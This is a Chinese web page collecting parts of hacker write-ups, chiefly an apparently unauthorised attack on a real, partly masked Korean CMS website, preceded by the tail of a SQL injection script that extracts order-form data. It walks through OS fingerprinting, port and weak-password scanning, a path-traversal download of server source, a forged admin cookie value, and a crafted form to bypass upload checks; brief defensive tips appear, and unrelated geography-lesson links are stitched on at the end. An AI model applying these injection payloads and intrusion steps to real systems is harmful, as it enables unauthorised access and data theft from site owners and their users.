sqlstr = “?ChannelID=100&SpecialID=4/**/and/**/1=2/**/union/**/all/**/select/**/1,2,3,%s,5,'无',7,8,9,10,11,%s,13/**/from/**/PE_OrderForm/**/where/**/ClientID=%s--”

sqlsend.Postsql(sqlstr, ARGV[1],ARGV[0].to_i)

end

篇6:对韩国某CMS的一次安全检测

某日,一个做网页设计的朋友发给我一个站(www.ba******.net),问我感觉如何?该网站设计漂不漂亮?明明知道我在艺术方面不太擅长,尤其是美感设计,还发过来,不过既然发过来了,也要上去看看,打开网站后,感觉还是蛮简洁的,如图1所示,就看看它的安全性如何,

图1韩国某网站CMS界面

一、服务器信息收集

1.获取IP信息

直接打开DOS提示符操作窗口,使用ping命令,对网站www.b*******.net进行ping操作,如图2所示,获取IP地址为“221.***.**.21”,且无丢包现象,延迟时间也较少,呵呵,感觉韩国的计算机就是爽,速度快,硬件配置也高。

图2获取网站IP地址

安全小知识

(1)TTL术语

TTL是Time to Live对缩写,它是IP协议包中的一个值,它告诉网络路由器包在网络中的时间是否太长而应被丢弃。有很多原因使包在一定时间内不能被传递到目的地。例 如,不正确的路由表可能会导致包的无限循环。一个解决方法就是在一段时间后丢弃这个包,然后给发送者一个报文,由发送者决定是否要重发。TTL的初值通常 是系统缺省值,是包头中的8位的域。TTL的最初设想是确定一个时间范围,超过此时间就把包丢弃。由于每个路由器都至少要把TTL值减一,TTL通常表示 包在被丢弃前最多能经过的路由器个数。当记数到0时,路由器决定丢弃该包,并发送一个ICMP报文给最初的发送者。

TTL是指定数据报被路由器丢弃之前允许通过的网段数量。通常是由发送主机设置的,以防止数据包不断在 IP 互联网络上永不终止地循环。转发 IP 数据包时,要求路由器至少将 TTL 减小 1。

使用PING时涉及到的 ICMP 报文类型

一个为ICMP请求回显(ICMP Echo Request)

一个为ICMP回显应答(ICMP Echo Reply)

(2)TTL值

TTL 字段值可以帮助我们识别操作系统

类型,下面是一些常见系统的TTL值:

(1)UNIX 及类 UNIX 操作系统 ICMP 回显应答的 TTL 字段值为 255;

(2)Compaq Tru64 5.0 ICMP 回显应答的TTL字段值为64;

(3)微软 Windows NT4 WRKS、Windows NT4 Server、Windows 2000、Windows XP操作系统 ICMP 回显应答的 TTL字段值为128;

(4)微软 Windows 95、Windows98、Windows98SE、Windows ME操作系统ICMP 回显应答的TTL字段值为 32;

(5)一些特殊情况下,其TTL值会有一些不同:

LINUX Kernel 2.2.x & 2.4.x ICMP 回显应答的 TTL 字段值为 64

FreeBSD 4.1, 4.0, 3.4;Sun Solaris 2.5.1, 2.6, 2.7, 2.8;OpenBSD 2.6, 2.7;NetBSD;HP UX 10.20等等ICMP 回显应答的TTL字段值为255;

从返回的TTL值中,可以初步判定目标主机是linux系统。

防护技巧

在一般意义上可以通过“ping 主机地址”或者“ping 网站域名地址”来获取TTL值,通过TTL值来判断网站所在主机的操作系统类型。一些防护严格的系统会自定义TTL值,从而让入侵者无法通过TTL值来获取操作系统的类型。TTL值的注册表位置

HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters 其中有个DefaultTTL的DWORD值,其数据就是默认的TTL值了,我们可以修改,但不能大于十进制的255,

例如本人的计算机的TTL值就是 127,如图3所示,嘿嘿,从常见的TTL值你就无法知道!

图3 自定义TTL值

注意:

修改TTL值后需要重启计算机才能生效,不同计算机操作系统可能修改的TTL值地方不一样,一般情况下是去注册表

“HKEY_LOCAL_MACHINE\\SYSTEM \\CurrentControlSet001\\Services\\Tcpip\\Parameters”下修改DefaultTTL的值,如果是在 “HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters”中 则需要新建“DefaultTTL”键,且类型为DWORD。

2.获取服务器架构信息

通常通过在浏览器中输入“221.139.***.21/antian365/”地址,其中“antian365”为不存在的目录, 从返回出错的信息中来判断服务器架构信息,如图4所示,可以看出来系统使用的是apache1.3.36,因为小站根本是使用免费的Mysql数据库,所 以可以确认是典型的LAMP架构。

图4获取服务器架构信息

说明:

(1)221.139.***.21/antian365/如果是在IE浏览器输入,一定要把显示友好HTTP错误信息去掉,具体操作:选择IE浏览器--工具--Internet选项;在高级选项框中将“显示友好HTTP错误信息”的勾选去掉,这样才能显示详细的错误信息。

LAMP架构网络小知识

LAMP是一种Web网络应用和开发环境,基本上是四种开源软件技术的组合,它们组合在一起产生了一个功能强大的应用服务平台,使用却相对来说比较简单和容易。

LAMP是基于Linux,Apache,MySQL和PHP的开放资源网络开发平台,这个术语来自欧洲,LAMP名字取自每个程序的第一个字母, 也有人认为LAMP是一种Web网络应用和开发环境,是Linux, Apache,MySQL, Php/Perl的缩写,每一个字母代表了一个组件。其实LAMP这个词的由来最早始于德国杂志“c't Magazine”,Michael Kunze在1990年最先把这些项目组合在一起创造了LAMP的缩写字。

这些组件并不是开始就设计为一起使用的,由于开源和免费,随着越来越多的人使用它,其兼容性不断改善和完善,因此逐渐成为Web应用程序开发的一种 架构。在这个架构中每个程序在所有权里都符合开放源代码标准:Linux是开放系统;Apache是最通用的网络服务器;MySQL是带有基于网络管理附 加工具的关系数据库;PHP是流行的对象脚本语言,它包含了多数其它语言的优秀特征来使得它的网络开发更加有效。

有时候,开发者在Windows操作系统下使用这些Linux环境里的工具称为使用WAMP,也称为WAMP架构。 随着开源潮流的蓬勃发展,开放源代码的LAMP已经与J2EE和.Net商业软件形成三足鼎立之势,并且该软件开发的项目在软件方面的投资成本较低,因此 受到整个IT界的关注。有关LAMP的更多知识,可以查看“LAMP架构帖子”www.antian365.com/bbs /viewthread.php?tid=2639&extra=page%3D1&frombbs=1

3.探测端口信息

用sfind扫一下服务器,发现只开启21,80端口,如图5所示,其中3306Mysql数据库端口也可以进行探测。

图5端口信息

之后使用HScan软件扫描Mysql数据库和FTP弱口令,没有结果。看来还是得从web程序入手

篇7:对韩国某CMS的一次安全检测

11.cookie欺骗成功

先看看可否使用UPDATE更新管理员密码,先看一下源代码:33333333333333333333

if ($MB_ID == 'ROOT' && $MB_PW != '')

{

include '../conf/mkpass.php';

$crypt_key = “ml5300a”;

$INPUT_PASS = crypt($MB_PW,$crypt_key);

if ($INPUT_PASS == $ROOT_PASS)

{

setcookie(“MyLootPass” , $ROOT_PASS , 0 , “/”);

getTargetLink(“../index.php”,“”,“”);

} else { echo“”; }

}

这个不是可以cookie欺骗吗?于是打开桂林老兵的mybrowse,打开网站后,点击自定义cookie,把cookie修改为:

MyLootPass=mldzOtDVllwqw;PHPSESSID=ae92f7f6cd637f942071b67b8f4881ad,然后刷新一下页面,显示已登录(看左上角),如图18所示,

图18 cookie欺骗成功

12.得到前台可上传页面

这个是前台管理员,在前台管理中,有发公告的地方,并可以上传文件,如图19所示。

图19 有上传可利用管理页面

13.上传php文件受限

后台对文件类型做了一些限制,当我选择php文件时,却弹出一个对话框,如图20所示。

图20限制上传php文件

在没有提交上传的时候,就跳出来对话框,说明肯定本地使用Javascript做了验证,所以可以自己构造一个上传表单来突破,于是先下载上传处理文件upload.php文件。构造其地址:

www.b****k.net/ez/bbs.php?table=sub1&action=down&where=dat&dtype=up&uid=133&file=

../../../../bbs/lib/module/upload/upload.php,下载到本地后打开该文件查看其源代码:4444444444444444444

if ($action == “upload”)

{

if(is_uploaded_file($HTTP_POST_FILES[upFile][tmp_name]))

{

$upFile_Ext = explode('.' , $HTTP_POST_FILES[upFile][name]);

if (strstr(“html,php3,inc,asp,jsp” , $upFile_Ext[sizeof($upFile_Ext)-1]))

{

echo “”;

exit;

}

$filesize = $HTTP_POST_FILES[upFile][size];

……(略去无关代码)

if (is_file(“../../../table/$table/upload/”.$HTTP_POST_FILES[upFile][name])) {

$upname = date(“His”).“_”.$HTTP_POST_FILES[upFile][name];

move_uploaded_file($HTTP_POST_FILES[upFile][tmp_name],

“../../../table/$table/upload/”.$upname);

}

else {

$upname = $HTTP_POST_FILES[upFile][name];

move_uploaded_file($HTTP_POST_FILES[upFile][tmp_name],

“../../../table/$table/upload/”.$upname);

}

}

好象可以上传PHP文件的,先构建一个上传表单,代码如下:

“www.b****k.net/ez/bbs/

lib/module/upload/upload.php” target='Tmp_Up_Iframe' >

(INPUT type=hidden value=upload name=action)

(INPUT type=hidden value=sub1 name=table)

(INPUT type=hidden value=200 name=MaxUp_Size)

(INPUT type=file name=upFile)

(INPUT type=submit value=提交 name=SubmitBtn)

用时将( ) 改为< >

另存为upload.htm,再次选择一个php文件上传试试,发现并不能上传,如图21所示,

图21还是不能上传php文件

于是上传一个gif.phP文件(linux服务器是区分大小写的)。上传成功后,用IE浏览器浏览(不要用Firefox,不然图片也会变成下载)www.b****k.net/ez/bbs/table/sub1/upload/gif.phP

,但发现是出现下载页面,服务器不解释。如图22所示。图22不解释phP文件

再看一看strstr函数的解释。

语法: string strstr(string haystack, string needle);

本函数将 needle 最先出现在 haystack 处起至 haystack 结束的字符串返回。若找不到 needle 则返回 false。

原来只要文件名后缀包含php3、php、ph、p等类型都不行。没折了,不搞了。

谁知道有什么办法突破,请告知我。

说明:验证个人认为,使用session验证比cookie安全些;还有就是对上传文件格式的验证,一定要在服务器端进行,在客户端验证的话,随便自己在本地构建一个表单就可以轻轻松松绕过了。

三、总结与收获

通过本次对韩国某CMS系统网站进行检测,用到了LiveHTTPHeaders、RefControl插件,通过这些插件来辅助进行安全检查,其 效果还是非常明显的,在本次检测中成功进行突破防盗链、进行了cookie欺骗,对php类型的网站安全检查应该是多了一些实际经验。欢迎跟我进行技术探 讨,我在antian365.com论坛中的id是N3tl04D。

对一次韩国站的上传点分析

高中地理东南亚课件

《东南亚》教学反思

东南亚的知识点总结

地理课《东南亚》教学反思

下载对东南亚某站的一次渗透(通用7篇)
对东南亚某站的一次渗透.doc
将本文的Word文档下载到电脑,方便收藏和打印
推荐度:
点击下载文档
点击下载本文文档